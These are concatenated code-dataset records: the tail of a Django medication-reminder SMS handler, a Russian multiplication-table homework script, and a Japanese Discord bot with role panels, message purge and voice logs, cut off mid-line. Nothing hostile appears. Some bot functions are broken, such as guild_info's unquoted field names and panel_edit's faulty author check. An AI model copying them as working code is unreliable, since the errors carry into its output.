sender, message, response):\n\t\t\"\"\" Process a response to a refill questionnaire message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\n\t\tdef process_response(return_message_type):\n\t\t\tfor feedback in message.feedbacks.all():\n\t\t\t\tfeedback.note = Message.REFILL_QUESTIONNAIRE_RESPONSE_DICTIONARY[response.upper()]\n\t\t\t\tfeedback.save()\n\t\t\ttemplate = 'messages/refill_questionnaire_responses/' + \\\n\t\t\t Message.REFILL_QUESTIONNAIRE_RESPONSE_DICTIONARY[response.upper()] + \\\n\t\t\t '.txt'\n\t\t\tcontent = render_to_string(template)\n\t\t\tnew_m = Message.objects.create(to=sender, _type=return_message_type, content=content, previous_message=message)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\n\t\t# Switch on type of response\n\t\t# a - Haven't gotten the chance\n\t\tif response.lower() == 'a':\n\t\t\t# Schedule a medication reminder for later\n\t\t\tone_hour = datetime.datetime.now() + datetime.timedelta(hours=1)\n\n\t\t\t# Send response\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# b - Too expensive\n\t\telif response.lower() == 'b':\n\t\t\t#TODO(mgaba): Figure out what else should happen if someone needs to refill\n\t\t\t# Send response\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# c - Concerned about side effects\n\t\telif response.lower() == 'c':\n\t\t\t#TODO(mgaba): Figure out what else should happen if someone has side effects\n\t\t\t#TODO(mgaba): Add doctors name to personalize messages\n\t\t\t# Send response\n\t\t\treturn process_response(Message.STATIC_ONE_OFF)\n\n\t\t# d - Other\n\t\telif response.lower() == 'd':\n\t\t\t#TODO(mgaba): Add doctors name to personalize messages\n\t\t\treturn process_response(Message.OPEN_ENDED_QUESTION)\n\n\t\t# Unknown response\n\t\telse:\n\t\t\tmessage.datetime_responded = None\n\t\t\tmessage.save()\n\t\t\ttemplate = 'messages/unknown_response.txt'\n\t\t\tcontent = render_to_string(template)\n\t\t\tnew_m = Message.objects.create(to=sender, _type=Message.STATIC_ONE_OFF, content=content)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\tdef process_med_info_response(self, sender, message, response):\n\t\t\"\"\" Process a response to a med info message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\t\traise Exception(\"Not yet implemented\")\n\n\tdef process_non_adherent_response(self, sender, message, response):\n\t\t\"\"\" Process a response to a non adherence message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\t\traise Exception(\"Not yet implemented\")\n\n\tdef process_non_adherent_questionnaire_response(self, sender, message, response):\n\t\t\"\"\" Process a response to a non adherence questionnaire message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\t\traise Exception(\"Not yet implemented\")\n\n\tdef process_open_ended_question_response(self, sender, message, response):\n\t\t\"\"\" Process a response to a open ended question message\n\t\t\"\"\"\n\t\tnow = datetime.datetime.now()\n\t\tmessage.datetime_responded = now\n\t\tmessage.save()\n\n\t\tprevious_message = message.previous_message\n\t\twhile hasattr(previous_message, \"previous_message\") and previous_message.previous_message != None:\n\t\t\tprevious_message = previous_message.previous_message\n\n\t\tfor feedback in previous_message.feedbacks.all():\n\t\t\tfeedback.note=response\n\t\t\tfeedback.datetime_responded=now\n\t\t\tfeedback.save()\n\n\t\ttemplate = 'messages/response_open_ended_question.txt'\n\t\tcontent = render_to_string(template)\n\t\tnew_m = Message.objects.create(to=sender, _type=Message.STATIC_ONE_OFF, content=content)\n\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\tdef process_no_recent_message_response(self, sender, response):\n\t\tif self.is_med_info(response):\n\t\t\traise Exception(\"Not yet implemented\")\n\t\telif self.is_time_change(response):\n\t\t\t#TODO(mgaba): Figure out the best way to allow a user to change times (right now just an upsell)\n\t\t\traise Exception(\"Not yet implemented\")\n\t\telse:\n\t\t\ttemplate = \"messages/no_messages_to_reply_to.txt\"\n\t\t\tcontent = render_to_string(template)\n\t\t\tnew_m = Message.objects.create(to=sender, _type=Message.STATIC_ONE_OFF, content=content)\n\t\t\treturn HttpResponse(content=content, content_type='text/plain')\n\n\tdef process_unrequired_response(self, sender, response):\n\t\t# handles responses to messages that do not require responses\n\t\tpass\n\n\tRESPONSE_MAP = {\n\t\tMessage.MEDICATION: process_medication_response,\n\t\tMessage.MEDICATION_QUESTIONNAIRE: process_medication_questionnaire_response,\n\t\tMessage.REFILL: process_refill_response,\n\t\tMessage.REFILL_QUESTIONNAIRE: process_refill_questionnaire_response,\n\t\tMessage.MED_INFO: process_med_info_response,\n\t\tMessage.NON_ADHERENT: process_non_adherent_response,\n\t\tMessage.NON_ADHERENT_QUESTIONNAIRE: process_non_adherent_questionnaire_response,\n\t\tMessage.OPEN_ENDED_QUESTION: process_open_ended_question_response,\n\t}\n\n\tdef process_response(self, sender, response):\n\t\t\"\"\" \n\t\tReturns an HttpResponse object. Changes state of system based on action and sender's message\n\t\t\"\"\"\n\t\tif sender is None or (sender.did_quit() and not self._is_resume(response)):\n\t\t\treturn self.process_invalid_response()\n\n\t\t# Generic logic for responding to any type of message goes here\n\t\t# if self._is_quit(response):\n\t\t# \treturn self.process_quit_response(sender)\n\t\tif self._is_quit(response):\n\t\t\treturn self.process_pause_response(sender)\n\t\telif sender.did_quit() and self._is_resume(response):\n\t\t\treturn self.process_resume_response(sender)\n\n\t\tlast_sent_message = Message.objects.get_last_sent_message_requiring_response(to=sender)\n\t\tif not last_sent_message:\n\t\t\treturn self.process_no_recent_message_response(sender, response)\n\n\t\tresponse_generator = ResponseCenter.RESPONSE_MAP.get(\n\t\t\tlast_sent_message._type, self.process_unrequired_response)\n\n\t\treturn response_generator(self, sender, last_sent_message, response)\n\n","repo_name":"minqi/smartdose","sub_path":"reminders/response_center.py","file_name":"response_center.py","file_ext":"py","file_size_in_byte":20687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23702426737","text":"\"\"\"Задача 36: Напишите функцию print_operation_table(operation, num_rows=6, num_columns=6), которая принимает в качестве аргумента функцию, вычисляющую элемент по номеру строки и столбца. \nАргументы num_rows и num_columns указывают число строк и столбцов таблицы, которые должны быть распечатаны. \nНумерация строк и столбцов идет с единицы (подумайте, почему не с нуля). \nПримечание: бинарной операцией называется любая операция, у которой ровно два аргумента, как, например, у операции умножения.\nВвод: Вывод:\nprint_operation_table(lambda x, y: x * y)\n 1 2 3 4 5 6\n 2 4 6 8 10 12\n 3 6 9 12 15 18\n 4 8 12 16 20 24\n 5 10 15 20 25 30\n 6 12 18 24 30 36 \"\"\"\n\nn = int(input('Введите размер списка: '))\nmy_list = list([i * j for i in range(1,n+1)] for j in range(1,n+1))\nfor row in my_list:\n print(' '.join(map(str, row)))\nnum_rows = int(input('Введите индекс строки: '))\nnum_columns = int(input('Введите индекс столбца: '))\nif num_rows >= n or num_columns >= n:\n print('Числа для поиска элемента должны быть меньше заданного числа')\n exit()\nprint(f'Ищем элемент с индексами: {num_rows} и {num_columns}. Найденый элемент равен: {my_list[num_rows][num_columns]}')","repo_name":"Petrackova/PythonHomeWork","sub_path":"Homework007/Example002.py","file_name":"Example002.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18082922669","text":"import discord\nimport datetime\nimport pytz\nimport time\nimport requests\nimport asyncio\nimport random\nimport platform\nimport sys\nimport json\nimport threading\nimport animalotta_sim\nfrom discord import app_commands\nfrom discord_buttons_plugin import *\nfrom googletrans import Translator\n\n#discord関連の変数\nIntents = discord.Intents.all()\nclient = discord.Client(intents=Intents)\ntree = app_commands.CommandTree(client)\n#コマンド同期の設定\nsync_command = False\n\n#その他の変数\nsemaphore = threading.BoundedSemaphore(value=2)\n\n#サポート鯖リンク\nsupport_guild = '[サポートサーバーに参加する](https://discord.gg/pFgBSt6MPX)'\n\n#役職パネルの関数とか\ndef extract_message_id(url):\n import re\n pattern = r\"\\/(\\d+)\\/(\\d+)\\/(\\d+)$\"\n match = re.search(pattern, url)\n if match:\n message_id = int(match.group(3))\n return message_id\n else:\n return None\n \n#コンテキストメニューのテスト\n@tree.context_menu()\nasync def user_info(interaction: discord.Interaction, member: discord.Member):\n embed=discord.Embed(color=member.color)\n embed.set_author(name=member.name)\n embed.set_thumbnail(url=member.avatar.url)\n embed.add_field(name='アカウント登録日', value=member.created_at, inline=True)\n embed.add_field(name='サーバー参加日時', value=member.joined_at, inline=True)\n embed.add_field(name='サーバーブースト開始日', value=member.premium_since, inline=True)\n embed.add_field(name='アカウントがSPAMとして認証されているか', value=f'`{member.public_flags.spammer}`', inline=True)\n embed.add_field(name='BOTアカウントとしてフラグされているか', value=f'`{member.bot}`', inline=True)\n await interaction.response.send_message(embed=embed)\n\n#スラッシュコマンド\n@tree.command(name=\"help\", description=\"botのヘルプを表示します\")\nasync def help(ctx: discord.Interaction):\n embed=discord.Embed(title=\"ハリネズミン!v2 (β2)\", description=\"ハリネズミン!v2(β2)は、現在試験的に稼働中のbotです。\\r基本的にこのbotはスラッシュコマンドからの動作になります。\",color=0x00ff00)\n embed.add_field(name=\"削除・メッセージ編集ログ機能\", value=\"「削除ログ」という名前のチャンネルを作成すると、メッセージの削除・編集ログが残るようになります。\", inline=False)\n embed.add_field(name=\"ボイスチャンネル入退出ログ機能\", value=\"「ボイスチャンネルログ」という名前のチャンネルを作成すると、サーバー内でボイスチャンネルへの入退出があった場合に通知します。\", inline=False)\n embed.add_field(name=\"サポートサーバーのご案内\", value=\"サポートサーバーでは、製作者に直接お問い合わせすることができます。\\n[サポートサーバーに参加](https://discord.gg/pFgBSt6MPX)\", inline=False)\n embed.add_field(name=\"git hubリポジトリ\", value=\"ハリネズミン!v2のコードを見ることができます。\\n[リポジトリを見る](https://github.com/animalotta0206/harine_zumin/)\", inline=False)\n await ctx.response.send_message(embed=embed)\n\n@tree.command(name=\"taiman\", description=\"怠慢やね画像を送信します。\")\nasync def taiman(ctx: discord.Interaction):\n embed = discord.Embed(title=\"怠慢やね😅\",color=0x04ff00)\n embed.set_image(url=\"https://cdn.discordapp.com/attachments/992091661519827074/992091785331490826/20210726_212048.jpg\")\n await ctx.response.send_message(embed=embed)\n\n@tree.command(name=\"bareta\", description=\"ばれたかを送信します。\")\nasync def bareta(ctx: discord.Interaction):\n embed = discord.Embed(title=\"バレたか😆\",color=0x04ff00)\n embed.set_image(url=\"https://cdn.discordapp.com/attachments/992091661519827074/992091784761053240/20210726_212042.jpg\")\n await ctx.response.send_message(embed=embed)\n \n@tree.command(name=\"tweet\", description=\"ツイートを参考にしない😅\")\nasync def tweet(ctx: discord.Interaction):\n embed = discord.Embed(title=\"ツイートを参考にしない😅\",color=0x04ff00)\n embed.set_image(url=\"https://cdn.discordapp.com/attachments/992091661519827074/992091784521990164/20210726_212045.jpg\")\n await ctx.response.send_message(embed=embed)\n \n@tree.command(name=\"goodnight\", description=\"おやすみなさい画像を送信します。\")\nasync def goodnight(ctx: discord.Interaction):\n embed = discord.Embed(title=\"おやすみなさい😴\",color=0x04ff00)\n embed.set_image(url=\"https://cdn.discordapp.com/attachments/992091661519827074/992091785117585448/20210726_212039.jpg\")\n await ctx.response.send_message(embed=embed)\n \n@tree.command(name=\"omikuji\", description=\"おみくじが引けます。不正できます。\")\nasync def omikuji(ctx: discord.Interaction):\n texts = [ #ランダムで返す文字列\n '大吉!すごいズミン!',\n '中吉!がんばったズミン!',\n '中吉!がんばったズミン!',\n '中吉!がんばったズミン!',\n '小吉!まぁまぁの結果ズミン!',\n '小吉!まぁまぁの結果ズミン!',\n '小吉!まぁまぁの結果ズミン!',\n '小吉!まぁまぁの結果ズミン!',\n '小吉!まぁまぁの結果ズミン!',\n '不正吉!不正は絶対ダメズミン!',\n ]\n index = random.randint(0, len(texts) - 1)\n text = texts[index]\n await ctx.response.send_message(text)\n\n@tree.command(name=\"ping\",description=\"botの反応速度を測定できます。\")\nasync def ping(ctx: discord.Interaction):\n # Ping値を���単位で取得\n raw_ping = client.latency\n # ミリ秒に変換して丸める\n ping = round(raw_ping * 1000)\n embed=discord.Embed(title=\"Ping!\", color=0x00ff00)\n embed.add_field(name=\"Pong!🏓\", value=f'{ping}ms', inline=False)\n await ctx.response.send_message(embed=embed)\n \n@tree.command(name=\"bot_info\",description=\"botの情報を表示します。\")\nasync def bot_info(ctx: discord.Interaction):\n\n num_of_servers = len(client.guilds)\n\n embed=discord.Embed(title=\"ハリネズミン!v2 bot info\", color=0x00fa1d)\n embed.set_author(name=\"ハリネズミン!v2 #0624\", icon_url=\"https://cdn.discordapp.com/avatars/990987427818651648/708788930a3cf8dd9e70349f47a110c6.png?size=4096\")\n embed.add_field(name=\"Python バージョン:\", value=sys.version, inline=True)\n embed.add_field(name=\"OS:\", value=f\"{platform.system()}\\n{platform.release()}\\n{platform.version()}\", inline=True)\n embed.add_field(name=\"プロセッサー情報:\", value=platform.processor(), inline=True)\n embed.add_field(name=\"所属しているサーバーの数:\", value=num_of_servers, inline=True)\n await ctx.response.send_message(embed=embed)\n\n@tree.command(name=\"userinfo\", description=\"ユーザー情報を取得します\")\nasync def userinfo(ctx: discord.Interaction, member: discord.Member):\n embed = discord.Embed(title=\"ユーザー情報\", description=member.mention, color=member.color)\n embed.add_field(name=\"ユーザー名\", value=member.name, inline=True)\n embed.add_field(name=\"ニックネーム\", value=member.nick, inline=True)\n embed.add_field(name=\"ID\", value=member.id, inline=True)\n embed.add_field(name=\"サーバー参加日時\", value=member.joined_at.strftime(\"%Y-%m-%d %H:%M:%S\"), inline=True)\n embed.add_field(name=\"アカウント作成日時\", value=member.created_at.strftime(\"%Y-%m-%d %H:%M:%S\"), inline=True)\n embed.set_thumbnail(url=member.avatar_url)\n await ctx.response.send_message(embed=embed)\n\n@tree.command(name=\"usercheck\", description=\"ユーザ識別子から一意の文字列に変更されているかを確認できます。\")\nasync def usercheck(ctx: discord.Interaction):\n original_response = await ctx.response.send_message(\"読み込み中です…\")\n guild = client.get_guild(ctx.guild.id) # サーバーIDを指定\n edit_id = 0\n noedit_id = 0\n bot_count = 0\n for member in guild.members:\n if member.bot:\n bot_count += 1\n if member.discriminator == \"0\":\n edit_id += 1\n else:\n noedit_id += 1\n noedit_id -= bot_count\n embed = discord.Embed(title=f\"{ctx.guild.name}のユーザ識別子変更状況\", description=\"識別子変更に関する情報は[こちらから](https://support.discord.com/hc/ja/articles/12620128861463-%E6%96%B0%E3%81%97%E3%81%84%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E5%90%8D-%E8%A1%A8%E7%A4%BA%E3%81%95%E3%82%8C%E3%82%8B%E5%90%8D%E5%89%8D)ご確認ください。\", color=0x387aff)\n embed.add_field(name=\"識別子変更済みユーザー数\", value=f\"{edit_id}\", inline=False)\n embed.add_field(name=\"識別子変更がまだのユーザ数\", value=f\"{noedit_id}\", inline=True)\n await original_response.edit(content=\"<:b_check:1043897762590236704>読み込みが完了しました。\", embed=embed)\n\n@tree.command(name=\"share_discord_profile\", description=\"あなたのDiscordプロフィールをほかのSNSで簡単に共有できるURLを生成します。\")\nasync def share_discord_profile(ctx: discord.Interaction):\n await ctx.response.send_message(f\"{ctx.author.mention}のDiscordプロフィールリンクはこちらです。\\nhttps://discord.com/users/{ctx.author.id}\")\n\n@tree.command(name=\"purge_message\", description=\"最大2000件までのメッセージを削除できます。\",)\nasync def purge_message(ctx: discord.Interaction, about: int):\n if ctx.author.guild_permissions.manage_messages:\n if about >= 2001:\n await ctx.send('メッセージの削除は2000件までに制限されています。')\n return\n try:\n target_channel = client.get_channel(ctx.channel.id)\n if about >= 500:\n w_message = await ctx.response.send_message(f'{about}件のメッセージを削除しています………\\n>>> この処理には数分かかることがあ��ます。\\nこれ以降のメッセージは削除対象になりませんので、いつも通りチャットをすることができます。') \n else:\n w_message = await ctx.response.send_message(f'{about}件のメッセージを削除しています………')\n deleted = await target_channel.purge(limit=about, before=discord.Object(id=w_message.id), bulk=bool(True))\n await w_message.edit(content=f'<:b_check:1043897762590236704>{len(deleted)}件のメッセージを削除しました。')\n except discord.Forbidden:\n await w_message.edit(content=\"Botに「メッセージの管理権限」がありません。\\nBotの「メッセージの管理権限」を有効化してください。\")\n except discord.HTTPException as e:\n embed=discord.Embed(description=f\"例外処理されていないエラーが詳細:\\n```\\n{str(e)}\\n```\", color=0xff0000)\n embed.add_field(name=\"何度もエラー発生する場合は…\", value=\"bot開発者の`anima_zumin_0206`までお知らせください。\", inline=True)\n embed.add_field(name=\"サポートサーバーに参加してみませんか?\", value=f\"サポートサーバーではより迅速に対応できます。\\n{support_guild}\", inline=True)\n embed.timestamp = datetime.datetime.utcnow()\n await ctx.response.send_message(content=f'エラーが発生しました。\\nここまで{len(deleted)}件のメッセージを削除しました。', embed=embed)\n else:\n await ctx.response.send_message(f\"コマンド実行者に「メッセージの管理権限」が無いため、リクエストは拒否されました。\")\n\n@tree.command(name='panel_create', description='役職パネルを作成します。')\n@app_commands.describe(role='役職パネルに追加するロールを指定してください', panel_title='パネルのタイトルを指定できます。', emoji=\"ロールの絵文字を追加します。\", color='役職パネルの色を指定します(16進数で指定してください。)')\nasync def panel_create(ctx: discord.Interaction, role: discord.Role, panel_title: str, emoji: str, color: str = None):\n if ctx.author.guild_permissions.manage_roles:\n m = await ctx.channel.send('役職パネルを作成しています………')\n if color is not None:\n embed = discord.Embed(title=panel_title, color=int(color, 16))\n else:\n embed = discord.Embed(title=panel_title)\n embed.add_field(name=emoji, value=f\"<@&{role.id}>\", inline=True)\n embed.set_footer(text=f'最終更新者:{ctx.author.name}')\n await m.add_reaction(f'{emoji}')\n await m.edit(content='ロールに対応する絵文字にリアクションするとロールを受け取ることができます。', embed=embed)\n reply = await ctx.response.send_message(\"役職パネルを作成しました!\")\n await asyncio.sleep(3)\n await reply.delete()\n else:\n await ctx.response.send_message(\"ロールの管理権限を持っていないため実行できません。\")\n\n@tree.command(name='panel_edit', description='役職パネルを編集します。')\n@app_commands.describe(url='役職パネルのメッセージURLを入力してください。', title='役職パネルのタイトルを編集できます。', color='役職パネルの色を指定します。(16進数で指定してください。)')\nasync def panel_edit(ctx: discord.Interaction, url: str, title: str = None, color: str = None):\n if ctx.author.guild_permissions.manage_roles:\n message_id = extract_message_id(url)\n channel = ctx.channel\n try:\n message = await channel.fetch_message(message_id)\n except discord.NotFound:\n await ctx.send(\"指定されたメッセージは見つかりませんでした。\")\n return\n if message.author.id != client.user:\n if message.content == \"ロールに対応する絵文字にリアクションするとロールを受け取ることができます。\":\n existing_embed = message.embeds[0]\n if title is not None and color is not None:\n existing_embed.title = title\n existing_embed.color = discord.Color(int(color, 16))\n elif title is not None:\n existing_embed.title = title\n else:\n existing_embed.color = discord.Color(int(color, 16))\n await message.edit(embed=existing_embed)\n m = await ctx.response.send_message(\"変更が完了しました。\")\n await asyncio.sleep(5)\n await m.delete()\n else:\n await ctx.response.send_message(\"指定されたメッセージは役職パネルではありません。\")\n else:\n await ctx.response.send_message(\"指定されたメッセージURLはbotのメッセージではないため利用できません。\")\n else:\n await ctx.response.send_message(\"ロールの管理権限を持っていないため実行できません。\")\n\n@tree.command(name=\"panel_add_role\", description=\"役職パネルにロールを追加します(一度につき最大5つまで同時追加が可能です。)\")\n@app_commands.describe(role1='追加する役職を入力(1つめ)', emoji1='役職に追加する絵文字を指定(1つめ)', role2='追加する役職を入力(2つめ)', emoji2='役職に追加する絵文字を指定(2つめ)', role3='追加する役職を入力(3つめ)', emoji3='役職に追加する絵文字を指定(3つめ)', role4='追加する役職を入力(4つめ)', emoji4='役職に追加する絵文字を指定(4つめ)', role5='追加する役職を入力(5つめ)', emoji5='役職に追加する絵文字を指定(5つめ)', )\nasync def panel_add_role(ctx: discord.Interaction, url: str, role1: discord.Role, emoji1: str, role2: discord.Role = None, emoji2: str = None, role3: discord.Role = None, emoji3: str = None, role4: discord.Role = None, emoji4: str = None, role5: discord.Role = None, emoji5: str =None):\n if ctx.author.guild_permissions.manage_roles:\n m = await ctx.response.send_message(\"処理中…\")\n message_id = extract_message_id(url)\n channel = ctx.channel\n try:\n message = await channel.fetch_message(message_id)\n except discord.NotFound:\n await m.edit(\"指定されたメッセージは見つかりませんでした。\")\n return\n if message.author.id != client.user:\n if message.content == \"ロールに対応する絵文字にリアクションするとロールを受け取ることができます。\":\n existing_embed = message.embeds[0]\n if role5 and emoji5 and role4 and emoji4 and role3 and emoji3 and role2 and emoji2 and emoji1 and role1:\n fields = [\n {\"name\": emoji1, \"value\": f\"<@&{role1.id}>\", \"inline\": True},\n {\"name\": emoji2, \"value\": f\"<@&{role2.id}>\", \"inline\": True},\n {\"name\": emoji3, \"value\": f\"<@&{role3.id}>\", \"inline\": True},\n {\"name\": emoji4, \"value\": f\"<@&{role4.id}>\", \"inline\": True},\n {\"name\": emoji5, \"value\": f\"<@&{role5.id}>\", \"inline\": True},\n ]\n if role4 and emoji4 and role3 and emoji3 and role2 and emoji2 and emoji1 and role1:\n fields = [\n {\"name\": emoji1, \"value\": f\"<@&{role1.id}>\", \"inline\": True},\n {\"name\": emoji2, \"value\": f\"<@&{role2.id}>\", \"inline\": True},\n {\"name\": emoji3, \"value\": f\"<@&{role3.id}>\", \"inline\": True},\n {\"name\": emoji4, \"value\": f\"<@&{role4.id}>\", \"inline\": True},\n ]\n elif role3 and emoji3 and role2 and emoji2 and emoji1 and role1:\n fields = [\n {\"name\": emoji1, \"value\": f\"<@&{role1.id}>\", \"inline\": True},\n {\"name\": emoji2, \"value\": f\"<@&{role2.id}>\", \"inline\": True},\n {\"name\": emoji3, \"value\": f\"<@&{role3.id}>\", \"inline\": True},\n ]\n elif role2 and emoji2 and role1 and emoji1:\n fields = [\n {\"name\": emoji1, \"value\": f\"<@&{role1.id}>\", \"inline\": True},\n {\"name\": emoji2, \"value\": f\"<@&{role2.id}>\", \"inline\": True},\n ]\n else:\n fields = [\n {\"name\": emoji1, \"value\": f\"<@&{role1.id}>\", \"inline\": True},\n ]\n try:\n for field in fields:\n existing_embed.add_field(name=field[\"name\"], value=field[\"value\"], inline=field[\"inline\"])\n await message.add_reaction(field[\"name\"])\n\n await message.edit(embed=existing_embed)\n await m.delete()\n except:\n await m.edit(content=\"エラーが発生しました。\\n引数不足もしくは、絵文字が利用不可のサーバーで作成されたものです。\")\n else: \n await ctx.response.send_message(\"ロールの管理権限がないため実行できません。\")\n\n@tree.command(name=\"panel_remove_role\", description=\"指定した役職を削除します。\")\n@app_commands.describe(url='パネルのメッセージURL', role='パネルから削除するロール')\nasync def panel_remove_role(ctx: discord.Interaction, url: str, role: discord.Role):\n if ctx.author.guild_permissions.manage_roles:\n m = await ctx.response.send_message(\"処理中…\")\n message_id = extract_message_id(url)\n channel = ctx.channel\n try:\n message = await channel.fetch_message(message_id)\n except discord.NotFound:\n await m.edit(content=\"指定されたメッセージは見つかりませんでした。\")\n return\n\n if message.author.id == client.user:\n if message.content == \"ロールに対応する絵文字にリアクションするとロールを受け取ることができます。\":\n embed = message.embeds[0]\n target_field_name = f\"<@&{role.id}>\"\n field_index = None # 初期化を行う\n for index, field in enumerate(embed.fields):\n if field.value == target_field_name:\n emoji_name = field.name\n field_index = index\n break\n\n if field_index is not None:\n embed.remove_field(field_index)\n await message.remove_reaction(emoji_name, client.user)\n await message.edit(embed=embed)\n await m.delete()\n else:\n await m.edit(content=\"指定されたロールは役職パネルに存在しません。\")\n else:\n await m.edit(content=\"指定したメッセージは役職パネルではありません。\")\n else:\n await m.edit(content=\"指定されたメッセージはbotのメッセージではないため利用できません。\")\n else:\n await ctx.response.send_message(content=\"ロールの管理権限がないため実行できません。\")\n\n@tree.command(name=\"afk_set\",description=\"AFKチャンネルに移動したユーザーに通知を送信するか設定できます。\")\nasync def afk_set(ctx: discord.Interaction):\n if ctx.author.guild_permissions.manage_roles:\n with open('harine_zumin/settings.json', 'r') as f:\n data = json.load(f)\n guild = ctx.guild.id\n if guild in data:\n await ctx.send(\"設定は既に`True`です。\")\n return\n data.append(guild)\n with open('harine_zumin/settings.json', 'w') as f:\n json.dump(data, f)\n await ctx.response.send_message(\"設定が完了しました。\")\n else:\n await ctx.response.send_message(\"この操作には管理者権限が必要になります!\")\n\n@tree.command(name='guild_info', description='サーバー情報を取得します。')\nasync def guild_info(ctx: discord.Interaction):\n guild=client.get_guild(ctx.guild.id)\n name=guild.name\n reader=guild.owner.name\n image=guild.icon.url\n count=guild.member_count\n\n embed=discord.Embed(color=0x00ff04)\n embed.set_author(name=name, icon_url=image)\n embed.set_thumbnail(url=image)\n embed.add_field(name=サーバーの所有者, value=reader, inline=True)\n embed.add_field(name=メンバーの数, value=count, inline=True)\n await ctx.response.send_message(embed=embed)\n \n@tree.command(name='seaver_boostters', description='サーバーにブーストしているユーザーを返します。')\nasync def seaver_boostters (ctx: discord.Interaction):\n guild=client.get_guild(ctx.guild.id)\n boost_users=guild.premium_subscribers\n embed=discord.Embed(title='サーバーブースターのリスト', color=0xff00f7)\n embed.from_dict(boost_users)\n await ctx.response.send_message(embed=embed)\n \n#メッセージ送信時\n@client.event\nasync def on_message(message):\n if message.author.id == client.user.id:\n return\n \n if message.content.find('<@990987427818651648>') != -1:\n texts = [ #ランダムで返す文字列\n 'ひどいズミン………',\n 'すごくひどいズミン………'\n ]\n index = random.randint(0, len(texts) - 1)\n reply = texts[index]\n await message.reply(reply)\n\n#ボイスチャンネル関連\n@client.event\nasync def on_voice_state_update(member, before, after):\n #ミュートとかで呼び出されたときに重複を回避するための条件分岐\n if after.deaf != before.deaf or after.mute != before.mute or after.self_deaf != before.self_deaf or after.self_mute != before.self_mute:\n return\n # 参加した場合\n if not before.channel and after.channel:\n # ログに出力するメッセージ\n message = f'<@{member.id}>が<#{after.channel.id}>に参加しました。'\n embed=discord.Embed(description=message,color=0x009dff)\n embed.set_author(name=f\"{member.name}\",icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(member.id,member.avatar))\n embed.set_footer(text=f\"ID:{member.id}\")\n embed.timestamp = datetime.datetime.utcnow()\n # テキストチャンネルを取得\n channel = discord.utils.get(member.guild.text_channels, name='ボイスチャンネルログ')\n if channel is not None:\n # ログをテキストチャンネルに送信\n await channel.send(embed=embed)\n\n # 退出した場合\n elif before.channel and not after.channel:\n # ログに出力するメッセージ\n message = f'<@{member.id}>が<#{before.channel.id}>から退出しました。'\n embed=discord.Embed(description=message,color=0xff0000)\n embed.set_author(name=f\"{member.name}\",icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(member.id,member.avatar))\n embed.set_footer(text=f\"ID:{member.id}\")\n embed.timestamp = datetime.datetime.utcnow()\n # テキストチャンネルを取得\n channel = discord.utils.get(member.guild.text_channels, name='ボイスチャンネルログ')\n if channel is not None:\n # ログをテキストチャンネルに送信\n await channel.send(embed=embed)\n return\n if before.channel and after.channel and before.channel != after.channel:\n # ボイスチャンネルから移動した場合\n message = f'<@{member.id}>が\\n<#{before.channel.id}>から<#{after.channel.id}>へ移動しました。'\n embed=discord.Embed(description=message,color=0x00ff00)\n embed.set_author(name=f\"{member.name}\", icon_url=\"https://media.discordapp.net/avatars/{}/{}.png?size=1024\".format(member.id,member.avatar))\n embed.set_footer(text=f\"ID:{member.id}\")\n embed.timestamp = datetime.datetime.utcnow()\n channel = discord.utils.get(member.guild.text_channels, name='ボイスチャンネルログ')\n if channel is not None:\n # ログをテキストチャンネルに送信\n await channel.send(embed=embed)\n #AFK移動時\n if after.afk is not False:\n embed=discord.Embed(title=\"寝落ち通知\", description=f\"あなたは、「{member.guild.name}」でAFKチャンネルに移動されました。\", color=int('adff2f', 16))\n embed.timestamp = datetime.datetime.utcnow()\n await member.send(embed=embed)\n #配信開始時\n if after.self_stream is True:\n send_message = discord.utils.get(member.guild.text_channels, name='ボイスチャンネルログ')\n activities = member.activities\n embed=discord.Embed(title=\"Go Live Stream\", description=\"Activityの詳細\",color=int('ffa500', 16))\n if str(member.mobile_status) != 'offline':\n user_client = \"📱モバイルクライアント\"\n elif str(member.desktop_status) != 'offline':\n\t user_client = \"🖥デスクトップクライアント\"\n elif str(member.web_status) != 'offline':\n\t user_client = \"🌐ブラウザクライアント\"\n else:\n\t user_client = \"❓不明なクライアント\"\n if activities:\n for activity in activities:\n if activity.type == discord.ActivityType.playing:\n game_name = activity.name\n game_state = activity.state\n embed=discord.Embed(title=\"Go Live Stream\", description=\"Activityの詳細\",color=int('ffa500', 16))\n embed.add_field(name=\"プレイ中のゲーム\", value=game_name, inline=False)\n embed.add_field(name=\"ゲームのステータス\", value=game_state, inline=True)\n break\n elif activity.type == discord.ActivityType.streaming:\n game_name = activity.name\n game_state = activity.state\n embed=discord.Embed(title=\"Go Live Stream\", description=\"Activityの詳細\",color=int('ffa500', 16))\n embed.add_field(name=\"twich Stream\", value=game_name, inline=False)\n embed.add_field(name=\"twich state\", value=game_state, inline=True)\n break\n elif activity.type == discord.ActivityType.listening:\n game_name = activity.title\n game_state = activity.artist\n embed=discord.Embed(title=\"Go Live Stream\", description=\"Activityの詳細\",color=int('ffa500', 16))\n embed.add_field(name=\"Spotify Listen to\", value=game_name, inline=False)\n embed.add_field(name=\"Spotify state\", value=game_state, inline=True)\n break\n elif activity.type == discord.ActivityType.watching:\n game_name = activity.name\n game_state = activity.state\n embed=discord.Embed(title=\"Go Live Stream\", description=\"Activityの詳細\",color=int('ffa500', 16))\n embed.add_field(name=\"Spotify Listen to\", value=game_name, inline=False)\n embed.add_field(name=\"Spotify state\", 